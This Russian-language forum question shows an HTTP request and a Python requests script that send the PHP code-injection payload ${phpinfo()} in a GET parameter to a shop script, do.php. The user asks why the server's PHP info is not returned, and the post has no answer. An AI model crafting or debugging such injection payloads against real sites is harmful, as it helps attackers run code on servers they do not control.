Вставить запрос GET с запросом POST

Это запрос, который мне нужно сделать с Python:

POST /do.php?shop_action=buy&action=${phpinfo()} HTTP/1.1
Host: example.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://example.org/do.php?action=shop&shop_action=view&iid=17
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

iid=17&postcode=1&buy=Buy

вот что я пробовал:

import requests

session = requests.Session()

paramsGet = {"action":"\x24{phpinfo()}","shop_action":"buy"}
paramsPost = {"postcode":"1","iid":"17","buy":"Buy"}
headers = {"Accept":"*/*","User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)","Connection":"close","Referer":"http://example.org/do.php?action=shop&shop_action=view&iid=17","Accept-Language":"en","Content-Type":"application/x-www-form-urlencoded"}
response = session.post("http://example.org/do.php", data=paramsPost, params=paramsGet, headers=headers)

print("Response body: %s" % response.content)

но он не выводит то, что я хочу (информация PHP). Зачем?

1

Решение

Задача ещё не решена.

Другие решения

Других решений пока нет …

По вопросам рекламы ammmcru@yandex.ru
Adblock
detector